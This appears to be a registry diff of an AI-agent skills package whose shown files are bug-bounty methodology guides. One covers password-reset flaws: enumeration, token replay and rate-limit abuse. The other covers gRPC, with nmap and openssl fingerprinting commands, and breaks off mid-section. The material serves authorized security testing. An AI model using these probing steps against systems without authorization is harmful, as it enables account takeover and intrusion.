opencode-skills-collection 4.0.68 → 4.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +266 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +6943 -323
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-forgot-password
|
|
3
|
+
description: Hunt Forgot Password / Account Recovery Authentication Flaws
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, public_research
|
|
16
|
+
report_count: 6
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
## Autonomous Testing Priority
|
|
33
|
+
|
|
34
|
+
**Start with username enumeration — it's the fastest win and gates the rest.**
|
|
35
|
+
|
|
36
|
+
**Pattern 1 — Username enumeration (response difference for valid vs invalid email):**
|
|
37
|
+
1. POST to the forgot-password endpoint with a clearly invalid email (e.g. `nonexistent@fakedomain12345.com`) — record the response body, status code, and length
|
|
38
|
+
2. POST with an email you know exists (or try common patterns like `admin@target.com`, `test@target.com`, `user@target.com`)
|
|
39
|
+
3. Compare responses: different message ("Email sent" vs "Email not found"), different HTTP status, or meaningfully different body length = username enumeration confirmed
|
|
40
|
+
4. Proof: enumeration is confirmed when the two responses differ measurably (baseline vs probe) in message text, status code, or body length
|
|
41
|
+
|
|
42
|
+
**Pattern 2 — Reset token exposed in the API response:**
|
|
43
|
+
Some APIs return the reset token directly in the response body (instead of only emailing it). POST to the forgot-password endpoint and look for a token, link, or code in the JSON/HTML response. If a token appears that lets you reset the password, that's an immediate account-takeover vector.
|
|
44
|
+
|
|
45
|
+
**Pattern 3 — Reset token replay (reuse after use):**
|
|
46
|
+
1. Complete a full password reset cycle: request token → use it to reset password
|
|
47
|
+
2. Immediately try submitting the same token again to the reset-password endpoint
|
|
48
|
+
3. If the second submission returns 200 or "success" → token not invalidated after use
|
|
49
|
+
|
|
50
|
+
**Pattern 4 — No rate limit on reset requests:**
|
|
51
|
+
Submit the forgot-password endpoint 10-20 times rapidly with the same email. If all succeed without a 429, lockout, or CAPTCHA → no rate limit (enumeration + token flooding is possible).
|
|
52
|
+
|
|
53
|
+
**Content-type:** Forgot-password endpoints are often JSON-based REST APIs. Use `application/x-www-form-urlencoded` only if the endpoint is a traditional HTML form (check the login page's HTML to determine form encoding).
|
|
54
|
+
|
|
55
|
+
**Proof:** Username enumeration = measurably different response (body/status/length). Token exposure = token in response body. Token replay = second successful use of a consumed token.
|
|
56
|
+
|
|
57
|
+
---
|
|
58
|
+
|
|
59
|
+
## Vulnerability Classes in This Skill
|
|
60
|
+
|
|
61
|
+
### 1. Username Enumeration via Password Reset
|
|
62
|
+
Different error messages for valid vs invalid accounts leaks the user list without authentication. Even timing differences (fast "no user found" vs slow "email queued") count.
|
|
63
|
+
|
|
64
|
+
High-value targets: admin accounts, employee email patterns, API keys derived from usernames.
|
|
65
|
+
|
|
66
|
+
### 2. Weak / Predictable Reset Tokens
|
|
67
|
+
A reset token derived from timestamp, username, or sequential IDs can be brute-forced:
|
|
68
|
+
- `base64(email + timestamp)` — decodable
|
|
69
|
+
- 4-6 digit numeric code — 10K guesses, easily feasible with no rate limit
|
|
70
|
+
- Sequential `token=1234`, `token=1235` — trivially enumerable
|
|
71
|
+
|
|
72
|
+
### 3. Token Not Bound to Session or IP
|
|
73
|
+
Most apps generate a token, email it, and accept it from any browser. A truly bound token should only work from the same IP or require the original session cookie. If neither is enforced → link forwarding = account takeover.
|
|
74
|
+
|
|
75
|
+
**Token leak via `Referer` / third-party resources.** When the token rides in the reset-page URL (`/reset?token=…`) and that page loads any cross-origin resource (analytics, ads, fonts, a CDN image), the full URL — token included — leaks to that third party in the `Referer` header. Check the reset page's outbound requests: if the token appears in any cross-origin `Referer`, it's harvestable without the victim's inbox. Same leak via a `<meta name=referrer>` misconfig or an outbound link the victim clicks from the reset page. Disclosed token-leak→ATO class: <https://hackerone.com/reports/173551>.
|
|
76
|
+
|
|
77
|
+
### 4. Reset Link Doesn't Expire
|
|
78
|
+
Common best practice: reset tokens expire within ~15–60 minutes (no hard RFC mandates the exact value; OWASP recommends a short, single-use lifetime). If a token from 24 hours ago still works → persistence risk for phishing attacks.
|
|
79
|
+
|
|
80
|
+
### 5. No Rate Limit on Reset Endpoint
|
|
81
|
+
An uncapped reset endpoint enables:
|
|
82
|
+
- Email flooding (DoS against victim's inbox)
|
|
83
|
+
- Token brute-force if the token space is small
|
|
84
|
+
- Username enumeration at scale
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Related Skills
|
|
89
|
+
|
|
90
|
+
- **`hunt-ato`** — owns the account-takeover CHAIN (password-reset is its path #1). This skill finds/proves the recovery-flow primitive; hand off to hunt-ato to assemble the full takeover.
|
|
91
|
+
- **`hunt-cache-poison`** — host-header injection during reset email generation (different vulnerability, same flow)
|
|
92
|
+
- **`hunt-brute-force`** — rate-limit testing pattern applies to the reset endpoint too
|
|
93
|
+
- **`hunt-auth-bypass`** — if the reset flow can be skipped entirely (go to `/reset-password?token=` with empty/null token)
|
|
94
|
+
- **`hunt-mfa-bypass`** — if MFA is required after reset, test the bypass there
|
|
95
|
+
|
|
96
|
+
## When to Use
|
|
97
|
+
|
|
98
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
99
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
100
|
+
|
|
101
|
+
## Limitations
|
|
102
|
+
|
|
103
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
104
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
105
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
106
|
+
|
|
107
|
+
### Example
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
# Read-only first step; confirm scope before anything active.
|
|
111
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,317 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-grpc
|
|
3
|
+
description: Hunt gRPC vulnerabilities
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, grpc_security_research, cert_cc_advisory
|
|
16
|
+
report_count: 6
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-GRPC — gRPC Security
|
|
33
|
+
|
|
34
|
+
## Crown Jewel Targets
|
|
35
|
+
|
|
36
|
+
gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.
|
|
37
|
+
|
|
38
|
+
**Highest-value findings:**
|
|
39
|
+
- **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` / `grpc.reflection.v1.ServerReflection` lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
|
|
40
|
+
- **Missing auth on internal service** — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
|
|
41
|
+
- **Edge-auth-only / metadata-stripping** — proxy authenticates the user but the backend re-trusts proxy-injected headers (`x-user-id`, `x-tenant-id`, `x-forwarded-*`); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
|
|
42
|
+
- **Plaintext gRPC** — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
|
|
43
|
+
- **HTTP/2 Rapid Reset DoS (CVE-2023-44487)** — interleaved HEADERS + immediate RST_STREAM frames bypass `MAX_CONCURRENT_STREAMS` accounting → resource exhaustion. **DoS is in scope on almost no program — get explicit written authorization before sending a single burst.**
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Phase 1 — Fingerprint & Port Discovery
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
|
|
51
|
+
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open
|
|
52
|
+
|
|
53
|
+
# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
|
|
54
|
+
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"
|
|
55
|
+
|
|
56
|
+
